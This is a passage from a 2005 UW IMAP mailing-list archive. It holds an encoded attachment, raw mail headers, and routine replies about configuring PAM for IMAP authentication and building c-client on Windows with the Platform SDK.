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 RJbXIiEZAdgyELHtEeSBwAN56DA7VpWuhXEWpQXQhtLWJLgSG3t2JXiKVCw+UfMTIueOi9TXRUUr BzM4tfCGoBIF+1IHS1ihE0cgVoSsQQ7f3ZYrkE43LnJ4rX0nR5bK6uZmsbCBJYoEENu5K5RnJY5Q c/MCPcde9btFOwOTCiiimIKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAM LWv+PxP+uY/maKNa/wCPxP8ArmP5migC9on/ACANO/69Y/8A0EVfqhon/IA07/r1j/8AQRV+gAoo ooAKKKKACiiigAoorGacWnie6eWG5KTWluiPHbyOpIebIJUEDG5evrSA2aK4ySxnbS44bK0lh8RA jzLxoWALfxsZcYZSM4GT1XgY4v6f9mh1OzSz0N4mZSs9w8TpJGdpJ3MU2ycgDO85Jzz1pXHY6Siu L02xv7Q2eoRW84mtdIs43hKkeao8zzI8H+MfKR3BwOAxq5Jp9xceBdJsis8cgWyWWMRgsAHjDhlY HgDJOR254yKLhY6iiuMGoa1cRaiq292YmsLh4o5rfJSUY2JjylBJyeMuDjr6zahJq9rf35so5Y4Z rss0qxlicQQhcARvlch8kL1XGRRcOU62iuUtpNSu9V0xr37UZY7uRniFqVgjTyZQrByuecrwW6tj Arq6adxNWCiiimAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFAGFr X/H4n/XMfzNFGtf8fif9cx/M0UAXtE/5AGnf9esf/oIq/VDRP+QBp3/XrH/6CKv0AFFFFABRRRQA UUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABR RRQAUUUUAFFFFABRRRQBha1/x+J/1zH8zRRrX/H4n/XMfzNFAF7RP+QBp3/XrH/6CKv1Q0T/AJAG nf8AXrH/AOgir9ABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAhIUEkgAckntWOdcnuCx03S7 m9jU4MiAhT+hqfXiw0S6CHkgL+BIB/SpdACw6Jp8rG4EcVvO7rC7KGKyIRkAYJ+XAyw4yMMCcRKV ikla7KP9q61/0LV5+bf/ABNH9q61/wBC1efm3/xNdTarZTW0dxDcXDRAAhmupD029ct/sDOfVs/e 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 ------_=_NextPart_001_01C58E24.90994C46 Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw ------_=_NextPart_001_01C58E24.90994C46-- From pinedev@shivax2.cac.washington.edu Thu Jul 21 12:12:02 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Jul 2005 12:12:02 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6LJC1ld031158 for ; Thu, 21 Jul 2005 12:12:01 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJBxnb008576 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Jul 2005 12:12:00 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJBkg8016438; Thu, 21 Jul 2005 12:11:46 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJBjm5016429 for ; Thu, 21 Jul 2005 12:11:45 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJBjpI010992 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 21 Jul 2005 12:11:45 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJBieJ023515 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 21 Jul 2005 12:11:44 -0700 Received: from Shimo-Tomobiki.panda.com (56-99-74-65.gci.net [65.74.99.56]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJBhAa005062 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 21 Jul 2005 12:11:44 -0700 Date: Thu, 21 Jul 2005 11:11:41 -0800 From: Mark Crispin To: "Urciolo, Kevin" Subject: RE: [Imap-uw] IMAP With SSHA In-Reply-To: <5DBAE64CD0928B44B45B6FAF5B03B902B34A4B@XCGV4806.northgrum.com> Message-ID: References: <5DBAE64CD0928B44B45B6FAF5B03B902B34A4B@XCGV4806.northgrum.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: UW IMAP Software Interest List X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 21 Jul 2005, Urciolo, Kevin wrote: > I tried this yesterday actually. However, I am still having problems. > I am not sure what is going on at the moment. I am not getting debug > from pam in the logs showing that it is being hit. The screen shots > show the error from the client and the client configuration. Did you set up an IMAP PAM authenticator? That is required. On most systems, this would be /etc/pam.d/imap but I don't know for certain what it would be on Solaris. On my system, I just copied /etc/pam.d/ftpd to /etc/pam.d/imap and /etc/pam.d/pop (the latter if you use ipop3d). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jul 21 12:22:07 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Jul 2005 12:22:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6LJM7P7031739 for ; Thu, 21 Jul 2005 12:22:07 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJM4ka025587 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Jul 2005 12:22:04 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJLrIq017605; Thu, 21 Jul 2005 12:21:53 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJLpaJ017597 for ; Thu, 21 Jul 2005 12:21:51 -0700 Received: from mendeleev.sepia.com (modemcable034.4-70-69.static.videotron.ca [69.70.4.34]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJLnQp029342 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 21 Jul 2005 12:21:50 -0700 Received: from deepspace.sepia.com (deepspace.sepia.com [205.236.40.42]) by mendeleev.sepia.com (8.12.5/8.12.5) with ESMTP id j6LJLAgC002122; Thu, 21 Jul 2005 15:21:10 -0400 Received: from [172.16.56.1] ([205.236.40.161]) (authenticated bits=0) by deepspace.sepia.com (8.12.10/8.12.10) with ESMTP id j6LJHdbj025545 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Jul 2005 15:17:43 -0400 Message-ID: <42DFF5A5.5050003@sepia.com> Date: Thu, 21 Jul 2005 15:21:09 -0400 From: Mike Schmidt User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mike Trank Subject: Re: [Imap-uw] trouble building IMAP/C-CLIENT for Win32 References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, Just to throw in ny two bits: I have been compiling and running c-client under win32 for some time now. I can confirm that with the Platform SDK and visual studion 2003, c-client compiles and functions very well. I run it from a visual studio project tailored to my usage requirements (i.e. the dirvers I need) and it works very well. Mike Mark Crispin wrote: > On Wed, 20 Jul 2005, Mike Trank wrote: > >> I've built IMAP and C-client *lots* of times on Unix/Linux and never had >> any trouble. But trying to build on Win2k is driving me nuts. I have >> installed the "Microsoft Platform SDK" and chose >> "Complete" installation. I can see that the platform SDK's BIN directory >> is in the PATH and also the include >> directory is in the INCLUDE envvar, but I always get the compile errors >> shown below. > > > The compile errors that you report indicate that you do NOT have the > complete Microsoft Platform SDK installed; you are missing all the > definitions for Microsoft's encryption and certificate management > support. > > The INCLUDE definition doesn't seem to have the SDK directories, which > suggest to me that you don't have it set up. I think that you may > have run this in an ordinary command window, instead of one of the > special command windows for the Platform SDK. In the Start -> > Programs menu under Microsoft Platform SDK, you should find some > programs that put you in a command prompt with the SDK set up. > > Or, you can install the newer Visual Studio .NET 2003 instead of the > VC98 that you're running now and not worry about it. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jul 21 12:28:45 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Jul 2005 12:28:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6LJSjQL032280 for ; Thu, 21 Jul 2005 12:28:45 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJSi7s010092 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Jul 2005 12:28:44 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJSWgq018488; Thu, 21 Jul 2005 12:28:32 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJSU2T018467 for ; Thu, 21 Jul 2005 12:28:30 -0700 Received: from xcgca810.northgrum.com (xcgca810.northgrum.com [208.12.122.34]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJSTjX014713 for ; Thu, 21 Jul 2005 12:28:30 -0700 Received: from xcgca800.northgrum.com ([157.127.103.70]) by xcgca810.northgrum.com with InterScan Messaging Security Suite; Thu, 21 Jul 2005 12:28:28 -0700 Received: from xcgv4800.northgrum.com ([158.114.112.124]) by xcgca800.northgrum.com with Microsoft SMTPSVC(5.0.2195.6713); Thu, 21 Jul 2005 12:28:28 -0700 Received: from XCGV4806.northgrum.com ([158.114.112.166]) by xcgv4800.northgrum.com with Microsoft SMTPSVC(5.0.2195.6713); Thu, 21 Jul 2005 15:28:06 -0400 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [Imap-uw] IMAP With SSHA Date: Thu, 21 Jul 2005 15:28:06 -0400 Message-ID: <5DBAE64CD0928B44B45B6FAF5B03B902B34A74@XCGV4806.northgrum.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [Imap-uw] IMAP With SSHA Thread-Index: AcWOKCCzJpDrr8laTtGj2p9+czxQ4wAAaNNw From: "Urciolo, Kevin" To: "Mark Crispin" X-OriginalArrivalTime: 21 Jul 2005 19:28:06.0312 (UTC) FILETIME=[51DCC280:01C58E2A] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __IMS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 